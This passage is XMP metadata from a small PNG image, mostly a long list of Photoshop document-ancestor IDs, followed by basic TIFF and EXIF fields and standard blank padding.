               <rdf:li>xmp.did:F77F1174072068118DBBF0860F7EDEF0</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118DC196984EFEC09F</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118EDFE3C85FC5A5BD</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118F1CFECA782915C6</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118F42F1D8108024F1</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118F62C8684C936145</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118F62EEA207DB2DFF</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118F62FDBD9649A46B</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118FDCACBD0F46D589</rdf:li>
               <rdf:li>xmp.did:F77F117407206811900D8623FB6CCF2F</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119098A7718DD2EBAF</rdf:li>
               <rdf:li>xmp.did:F77F117407206811910985A437F0D0B3</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109862065E637A5</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109A18D07994BAA</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109AA3891E71C20</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109B80DD3093C00</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109BC552EB79E12</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109C71CF6D9E2A4</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109CC85AE74B274</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109D06A8313D563</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109E626B4ED1C3E</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109E9DFED7E4777</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109F8FE27718D5A</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109F9E8629A8F77</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0A1AA0B2EFC15</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0A64B4373937D</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0B6CBB13A5218</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0E5594C694DCA</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0ECAD1A886320</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0FBBB6736D3E0</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0FFCA006AF2A6</rdf:li>
               <rdf:li>xmp.did:F77F11740720681194578DD9F557B2A4</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119457B54112180CB0</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119457CF7932149EAA</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119457F7E11EF47C26</rdf:li>
               <rdf:li>xmp.did:F77F11740720681194FC8A3235E08E7E</rdf:li>
               <rdf:li>xmp.did:F77F11740720681195FEA4D474CEC3A2</rdf:li>
               <rdf:li>xmp.did:F77F11740720681195FEC0EE3EA39B88</rdf:li>
               <rdf:li>xmp.did:F77F11740720681195FEC1F5E62B59CE</rdf:li>
               <rdf:li>xmp.did:F77F11740720681195FEE1ABA1AEE76F</rdf:li>
               <rdf:li>xmp.did:F77F11740720681195FEE3C51095942E</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5860249FA4AD0</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5900666D92FB6</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5B4A19F094348</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5DA6D8D0DCD7B</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5E8F13FE40D34</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5E94B7C2456C1</rdf:li>
               <rdf:li>xmp.did:F77F11740720681198E99BCF30868C79</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994C86496ABEABAE</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994C8A8243CF6DD5</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994C91342A691E1C</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994CBD3507C9202A</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994CC8D8F7B54ACA</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994CF1C7CBEFB674</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119AFACDD002E68734</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119B83CEEA27995AC4</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119C12FCC73F11446E</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119EB8F890500830B9</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A178B4862A3AC2C7</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A1AFB41E9D0EF6B9</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A234A1321D5CA9F9</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A5C2BBA15379BE08</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A6138070A46BCC67</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A613FC07C3D4EEBA</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A688C58592B2EC97</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A6FAEA435EC1AF87</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A734B0A0B55FB86C</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A7A6EAF54AA2B056</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A7BACE4D918669F7</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A7E8FDBEFC40F4C5</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A9F8A44324AE3979</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AAF1F360BEADB6C0</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AB088ED073FBA775</rdf:li>
               <rdf:li>xmp.did:F77F117407206811ABCDCC7CA4D69551</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AD26F28600CC29DA</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AE56D6748533125F</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AEE1E85804F1BC1E</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AEF69600F277E5BB</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AFC6D81E688ADBEB</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B04FBAAF7885AEEF</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B1A4F6DD83BF03B5</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B1A4FD6A6A7642F4</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B1B7AA467262CD37</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B516B5B451545A40</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B5669AC054FE53DD</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B5D8FA3823B95AEA</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B5FEC38E6EA09CBA</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BA24F97E9D027B47</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BAFDD8C559CCB40F</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BB5ADC9BC13258B5</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BB8EE28C44C74A0A</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BC5391310951E999</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BCF8B60D9469211F</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BEDCA708FFA8A08A</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BF8EAA6E2CF6254A</rdf:li>
               <rdf:li>xmp.did:F791E347532168119109D5663B354062</rdf:li>
               <rdf:li>xmp.did:F7A270C2A7A3DF119F139B952251B991</rdf:li>
               <rdf:li>xmp.did:F7CA3D423B2E68118F62E4B54880F119</rdf:li>
               <rdf:li>xmp.did:F7CF60380D21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:F7E00B9F0D2068118DBBE78380E08E1D</rdf:li>
               <rdf:li>xmp.did:F7EA2E9FF007E011A1CEA84A0C8F47D5</rdf:li>
               <rdf:li>xmp.did:F7F5B118ADA2E211902383721CFF425A</rdf:li>
               <rdf:li>xmp.did:F827F1BBE3C5DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:F84ACF2DBCB2E011A197B9566C7F9C15</rdf:li>
               <rdf:li>xmp.did:F85F2D8A79B8E011B8DDB764408DB571</rdf:li>
               <rdf:li>xmp.did:F87F117407206811808384D0F1D669E1</rdf:li>
               <rdf:li>xmp.did:F87F117407206811808386F774EDA757</rdf:li>
               <rdf:li>xmp.did:F87F117407206811808399331810C790</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118083CB114F13D92B</rdf:li>
               <rdf:li>xmp.did:F87F117407206811822ADC2C1421690D</rdf:li>
               <rdf:li>xmp.did:F87F117407206811871F833371E134A3</rdf:li>
               <rdf:li>xmp.did:F87F117407206811873CBAB485DC00AA</rdf:li>
               <rdf:li>xmp.did:F87F11740720681188C6956C521FE498</rdf:li>
               <rdf:li>xmp.did:F87F11740720681188C69EA5821E0BEB</rdf:li>
               <rdf:li>xmp.did:F87F11740720681188C6ED6D188E5A95</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118A6DB10404C03239</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118AE4FE3FBF51A176</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118B96D4CB54D79FC3</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118CB6C84868CF9C29</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118DBBBF093A1DAA97</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118F62A44CE4DF69A8</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118F62B218C67CB069</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118F62C22238EF3839</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118F62C932B7D889BA</rdf:li>
               <rdf:li>xmp.did:F87F117407206811902EB2E145B56D0D</rdf:li>
               <rdf:li>xmp.did:F87F117407206811910995246128F8DF</rdf:li>
               <rdf:li>xmp.did:F87F11740720681191099AF6DFEFD10B</rdf:li>
               <rdf:li>xmp.did:F87F1174072068119109AAFB9F469FD0</rdf:li>
               <rdf:li>xmp.did:F87F117407206811994CA9A71151591E</rdf:li>
               <rdf:li>xmp.did:F87F117407206811994CABC2B47FF03F</rdf:li>
               <rdf:li>xmp.did:F87F117407206811994CE06D138483BA</rdf:li>
               <rdf:li>xmp.did:F87F117407206811994CFC33510E9D40</rdf:li>
               <rdf:li>xmp.did:F87F1174072068119CD4DB2985335F93</rdf:li>
               <rdf:li>xmp.did:F87F117407206811A5C6DAA4F2903FAD</rdf:li>
               <rdf:li>xmp.did:F87F117407206811A961F86FF52E2C84</rdf:li>
               <rdf:li>xmp.did:F87F117407206811ACA1ABD0ECE4A95A</rdf:li>
               <rdf:li>xmp.did:F87F117407206811B699A901380E7BA5</rdf:li>
               <rdf:li>xmp.did:F87F117407206811B9B1DE3DF693708F</rdf:li>
               <rdf:li>xmp.did:F88F820B1420681188C6D9EA900BA018</rdf:li>
               <rdf:li>xmp.did:F8B1200EC82068118F62B55C94B5F1CA</rdf:li>
               <rdf:li>xmp.did:F8B4F25B60206811A613DD728240A3A8</rdf:li>
               <rdf:li>xmp.did:F8BA6C85CA61E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:F8BC412B0C2068119109C80A4C3147BC</rdf:li>
               <rdf:li>xmp.did:F8E0011C512068119424C177A643562A</rdf:li>
               <rdf:li>xmp.did:F8E327E22F21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:F92117C53520681180839613FFBBFAAC</rdf:li>
               <rdf:li>xmp.did:F927F1BBE3C5DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:F93DC7D5DFC5DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:F956D1FE2920681192B095AAEA619829</rdf:li>
               <rdf:li>xmp.did:F95F2D8A79B8E011B8DDB764408DB571</rdf:li>
               <rdf:li>xmp.did:F974D8AD50E3DE119B98A0D1FCBA1444</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118083EB83C62BD7C1</rdf:li>
               <rdf:li>xmp.did:F97F11740720681180BACB59FC786B55</rdf:li>
               <rdf:li>xmp.did:F97F117407206811822A9DE237CFC96E</rdf:li>
               <rdf:li>xmp.did:F97F117407206811871FDE4004ABFCBA</rdf:li>
               <rdf:li>xmp.did:F97F117407206811871FEB10CF5631D2</rdf:li>
               <rdf:li>xmp.did:F97F117407206811871FEB8DB824A23C</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118A6DA10CD3CD7468</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118A6DB77C382C0FEB</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118A6DF1EB259C6C29</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118C14886BEA417E94</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118DBBB19E0C24AE1C</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118DBBDD5AE24192C4</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118DBBEB69C03E24DA</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118DBBF1EFF81BD277</rdf:li>
               <rdf:li>xmp.did:F97F1174072068119098A7718DD2EBAF</rdf:li>
               <rdf:li>xmp.did:F97F11740720681192B094F11AECB845</rdf:li>
               <rdf:li>xmp.did:F97F11740720681192B0E118D6113D9A</rdf:li>
               <rdf:li>xmp.did:F97F11740720681192B0F1027B0A6901</rdf:li>
               <rdf:li>xmp.did:F97F117407206811937C8D085C7056F3</rdf:li>
               <rdf:li>xmp.did:F97F1174072068119889DCBFE0400082</rdf:li>
               <rdf:li>xmp.did:F97F11740720681198F1AB822C242CCF</rdf:li>
               <rdf:li>xmp.did:F97F1174072068119A7F833586C6F350</rdf:li>
               <rdf:li>xmp.did:F97F1174072068119AFACDD002E68734</rdf:li>
               <rdf:li>xmp.did:F97F1174072068119BD1C5AE3FAA636F</rdf:li>
               <rdf:li>xmp.did:F97F117407206811AA09A2F8C5F9607C</rdf:li>
               <rdf:li>xmp.did:F97F117407206811AB08F346134D4C66</rdf:li>
               <rdf:li>xmp.did:F97F117407206811AB59EB39818C59AB</rdf:li>
               <rdf:li>xmp.did:F97F117407206811B286BAE449111509</rdf:li>
               <rdf:li>xmp.did:F97F117407206811B7CC8D8DEF16757B</rdf:li>
               <rdf:li>xmp.did:F97F117407206811BEDC9C80BC746BD7</rdf:li>
               <rdf:li>xmp.did:F98F7721465EE011978DEF38B3E75961</rdf:li>
               <rdf:li>xmp.did:F99271120F206811BE9BD62F9D475EB1</rdf:li>
               <rdf:li>xmp.did:F99A94C85A2068119457B4E8E216C3A8</rdf:li>
               <rdf:li>xmp.did:F9B2F4A030ECDF11B4CD9F957CD01735</rdf:li>
               <rdf:li>xmp.did:F9D2BC0A0398DF118E0DFBCC39F1D70C</rdf:li>
               <rdf:li>xmp.did:F9E00B9F0D2068118DBBE78380E08E1D</rdf:li>
               <rdf:li>xmp.did:F9E8ECDEEFBDE0118D13AAB82D64C562</rdf:li>
               <rdf:li>xmp.did:F9F16C12E2206811BEDC9678CA0435A7</rdf:li>
               <rdf:li>xmp.did:FA02D8E3A224681197A5FBDC682E9346</rdf:li>
               <rdf:li>xmp.did:FA0B45B42D206811871FA25DC28114E9</rdf:li>
               <rdf:li>xmp.did:FA130DF832216811B6D09349CCF4BD48</rdf:li>
               <rdf:li>xmp.did:FA2E9430BBF1E1118E87BDEFDF4B7379</rdf:li>
               <rdf:li>xmp.did:FA3C53DDCA61E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:FA615A74072068118A6DFDDFF2BD3A03</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811822A9F727D6911FA</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811845E8FFC1E293EA6</rdf:li>
               <rdf:li>xmp.did:FA7F11740720681188C6AAF38E9FB5F5</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068118B55D8122BD4BBDA</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068118C14AF6C9BD96AB9</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068118F628C4A209C8985</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068119109836B7A347A79</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068119109938AE0070106</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068119109D4895471EB7A</rdf:li>
               <rdf:li>xmp.did:FA7F11740720681198F1AB822C242CCF</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811994CA7F06A9500A2</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811994CC56805A67938</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068119D68B0A7E60C0F5F</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811A964A31DC56DDF2F</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811AB0885052E48C102</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811AB59EB39818C59AB</rdf:li>
               <rdf:li>xmp.did:FAAF420C0F206811822A9F727D6911FA</rdf:li>
               <rdf:li>xmp.did:FABA6C85CA61E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:FACF60380D21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:FAD821CC1EB1E011A71D9BAC861B396E</rdf:li>
               <rdf:li>xmp.did:FAEFC6B04EE111E094BED6A6206659D4</rdf:li>
               <rdf:li>xmp.did:FB0CF3AC8B20E011A762E7A2279D143D</rdf:li>
               <rdf:li>xmp.did:FB1591B51620681192B0AB18D6F10F7C</rdf:li>
               <rdf:li>xmp.did:FB2A61F69CE011DF83C0A65F756D654C</rdf:li>
               <rdf:li>xmp.did:FB33C528442068119A56CF70087969A4</rdf:li>
               <rdf:li>xmp.did:FB44CB0E5039E111A6A5FFB9D879379E</rdf:li>
               <rdf:li>xmp.did:FB536F21AB21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:FB5F2D8A79B8E011B8DDB764408DB571</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811808391A5371D201D</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118083EB83C62BD7C1</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811822A9DE237CFC96E</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811871F92CFDFF7440C</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811871F92F86C2782CE</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811871FEEA6EC09A2E5</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681188C6CC16CFB2376C</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681188C6FB115CEDFE88</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118A6D938FB70F8224</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118A6DB77C382C0FEB</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118F628504B14915F2</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118F62B4C0222208FE</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118F62D1E4D00C3DEC</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068119109C00FC3634517</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068119109D0E02D4CD5E6</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681192B0A1AA0B2EFC15</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681192B0A6951AA679E5</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681192B0BB8DA2E94514</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681192B0DC8DC9EE0D67</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681192B0F1027B0A6901</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681197A58C87B58F4D68</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681197A5BD303BD21412</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681197A5CC50EE7F478D</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811A9618972999C1C0D</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811AB08D95ECD287044</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811AB6BD18007F6B485</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811AFBDF43FFCB42EC5</rdf:li>
               <rdf:li>xmp.did:FBAB123E5C2168119109D5663B354062</rdf:li>
               <rdf:li>xmp.did:FBC4D2040A2068119109CC642C44EC0C</rdf:li>
               <rdf:li>xmp.did:FBF0030BD094DF11B924FFC964F2F0AE</rdf:li>
               <rdf:li>xmp.did:FBF99EB7567DDF11A74EE6CE03994422</rdf:li>
               <rdf:li>xmp.did:FBFE3D4920206811A6139B84BB329A54</rdf:li>
               <rdf:li>xmp.did:FC15090CD995E011BDAADEA50477F66B</rdf:li>
               <rdf:li>xmp.did:FC1591B51620681192B0AB18D6F10F7C</rdf:li>
               <rdf:li>xmp.did:FC366C6EDF75E111A2D7DC31A6196906</rdf:li>
               <rdf:li>xmp.did:FC3C53DDCA61E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:FC5177D26020681192B0FBBB6736D3E0</rdf:li>
               <rdf:li>xmp.did:FC6519253A2068118083EA39B6BAF187</rdf:li>
               <rdf:li>xmp.did:FC6F0BD5F22FE111835FCEA6CCEB95E2</rdf:li>
               <rdf:li>xmp.did:FC7DDCF15997E0118813CD7B5EC42916</rdf:li>
               <rdf:li>xmp.did:FC7F117407206811808391A5371D201D</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118A6DF3C73496F8E5</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118DBBAA650F3D9198</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118DBBF11625A05A5C</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118F62C932B7D889BA</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118F62D51A6DC08DF3</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118F62F4555C5E84BE</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068119109C00FC3634517</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068119109EBB0DC425B39</rdf:li>
               <rdf:li>xmp.did:FC7F11740720681192B0A08E4EE6AF18</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068119457840AD566213A</rdf:li>
               <rdf:li>xmp.did:FC7F11740720681194579828B43B938A</rdf:li>
               <rdf:li>xmp.did:FC7F117407206811994CA7F06A9500A2</rdf:li>
               <rdf:li>xmp.did:FC7F117407206811AD43B1EC353D4389</rdf:li>
               <rdf:li>xmp.did:FC7F117407206811AE568088196B6FA8</rdf:li>
               <rdf:li>xmp.did:FCA806F40D2068118DBBE78380E08E1D</rdf:li>
               <rdf:li>xmp.did:FCEA85651E2068118F62BF57C8B21ACE</rdf:li>
               <rdf:li>xmp.did:FD186C1C3F3DE211A9C1988C69A109E0</rdf:li>
               <rdf:li>xmp.did:FD31D7243D10E1118C39D2A30E1F8627</rdf:li>
               <rdf:li>xmp.did:FD5731358829E011A5B89CB7630C6210</rdf:li>
               <rdf:li>xmp.did:FD7F117407206811822A9DE237CFC96E</rdf:li>
               <rdf:li>xmp.did:FD7F11740720681182FE98EF7F18BF1D</rdf:li>
               <rdf:li>xmp.did:FD7F1174072068118EB4A0B9BBA3EFED</rdf:li>
               <rdf:li>xmp.did:FD7F1174072068118F62C932B7D889BA</rdf:li>
               <rdf:li>xmp.did:FD7F117407206811910995A4B85C7883</rdf:li>
               <rdf:li>xmp.did:FD7F1174072068119109EBB0DC425B39</rdf:li>
               <rdf:li>xmp.did:FD7F1174072068119109EEAF5DE05AA7</rdf:li>
               <rdf:li>xmp.did:FD7F11740720681197A5CC50EE7F478D</rdf:li>
               <rdf:li>xmp.did:FD7F117407206811A178B4862A3AC2C7</rdf:li>
               <rdf:li>xmp.did:FD7F117407206811BF24C98FA878C053</rdf:li>
               <rdf:li>xmp.did:FD8128D861F011E09CB3C7B148487B43</rdf:li>
               <rdf:li>xmp.did:FD903AC7552AE111813897F26901095F</rdf:li>
               <rdf:li>xmp.did:FD97F6DDD0FCE011AFE1E029CA081DF4</rdf:li>
               <rdf:li>xmp.did:FDABDCB6170CE1118F27E0F7E0FBE3E2</rdf:li>
               <rdf:li>xmp.did:FDACD264D365DF118102E6D513DA68F3</rdf:li>
               <rdf:li>xmp.did:FDE245DE1695E1119034DB56C34D7450</rdf:li>
               <rdf:li>xmp.did:FDEEBC462C2068119109C35E4994DFBC</rdf:li>
               <rdf:li>xmp.did:FE04079E3805E111AD37E3018A2F39FA</rdf:li>
               <rdf:li>xmp.did:FE1591B51620681192B0AB18D6F10F7C</rdf:li>
               <rdf:li>xmp.did:FE2A465E4320681188C6E28C6E610B42</rdf:li>
               <rdf:li>xmp.did:FE2A6706AA60E011A98E8847F89F8D20</rdf:li>
               <rdf:li>xmp.did:FE7F1174072068118083E4FF021AA64B</rdf:li>
               <rdf:li>xmp.did:FE7F117407206811822ADA67FA3E7CF7</rdf:li>
               <rdf:li>xmp.did:FE7F117407206811871FF1F3D7C5E4CF</rdf:li>
               <rdf:li>xmp.did:FE7F11740720681188C6CFC36FCEB8B9</rdf:li>
               <rdf:li>xmp.did:FE7F1174072068118F62DD804FF26847</rdf:li>
               <rdf:li>xmp.did:FE7F1174072068119109FEAFD0139520</rdf:li>
               <rdf:li>xmp.did:FE7F117407206811994CFD89901993E5</rdf:li>
               <rdf:li>xmp.did:FE7F1174072068119AFACDD002E68734</rdf:li>
               <rdf:li>xmp.did:FE7F117407206811A961E68EEDC136C8</rdf:li>
               <rdf:li>xmp.did:FE8F876C7E2168118F62E601B48A9F82</rdf:li>
               <rdf:li>xmp.did:FEAEDB180DBDDF118355880DD26B0EE8</rdf:li>
               <rdf:li>xmp.did:FEBA412FE357E1119021ECD684566952</rdf:li>
               <rdf:li>xmp.did:FEC52D397663DF11B26194DD13427F8B</rdf:li>
               <rdf:li>xmp.did:FECDAA679A3EE111B0109A7769D7149C</rdf:li>
               <rdf:li>xmp.did:FED99A8A551FE21188AB8837C60A450C</rdf:li>
               <rdf:li>xmp.did:FF0DA48CE680E0118A00D979C714CA89</rdf:li>
               <rdf:li>xmp.did:FF3550F002AD11E18740F64E75AD4D2A</rdf:li>
               <rdf:li>xmp.did:FF3819F6172068118F62D63BC9AEC7D1</rdf:li>
               <rdf:li>xmp.did:FF431D5D531CE0118516B2A88CCE0B19</rdf:li>
               <rdf:li>xmp.did:FF57693A018EDF11BEBB835A3A1D3CAE</rdf:li>
               <rdf:li>xmp.did:FF6519253A2068118083EA39B6BAF187</rdf:li>
               <rdf:li>xmp.did:FF7F117407206811822A9DE237CFC96E</rdf:li>
               <rdf:li>xmp.did:FF7F117407206811871FDDA91FB9E95E</rdf:li>
               <rdf:li>xmp.did:FF7F11740720681188C69570BE93D174</rdf:li>
               <rdf:li>xmp.did:FF7F1174072068118A6DDF8F0DFF0B44</rdf:li>
               <rdf:li>xmp.did:FF7F1174072068119109EBB0DC425B39</rdf:li>
               <rdf:li>xmp.did:FF7F11740720681197A586CAE747F851</rdf:li>
               <rdf:li>xmp.did:FF7F117407206811AD3E9F58C98DC11C</rdf:li>
               <rdf:li>xmp.did:FF9D5EE8E87CE01185D4A044C68EEC55</rdf:li>
               <rdf:li>xmp.did:FFD0AC0411206811BB8EDD0255C155B9</rdf:li>
               <rdf:li>xmp.did:FFD98459E49FE111A36DFB91276CB217</rdf:li>
               <rdf:li>xmp.did:FFDC8424D4E2DF11AED8B5A8AB741903</rdf:li>
               <rdf:li>xmp.did:ac9f2274-ea44-6e49-bba3-9513f48c382b</rdf:li>
            </rdf:Bag>
         </photoshop:DocumentAncestors>
         <dc:format>image/png</dc:format>
         <tiff:Orientation>1</tiff:Orientation>
         <tiff:XResolution>720000/10000</tiff:XResolution>
         <tiff:YResolution>720000/10000</tiff:YResolution>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <exif:ColorSpace>1</exif:ColorSpace>
         <exif:PixelXDimension>126</exif:PixelXDimension>
         <exif:PixelYDimension>21</exif:PixelYDimension>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
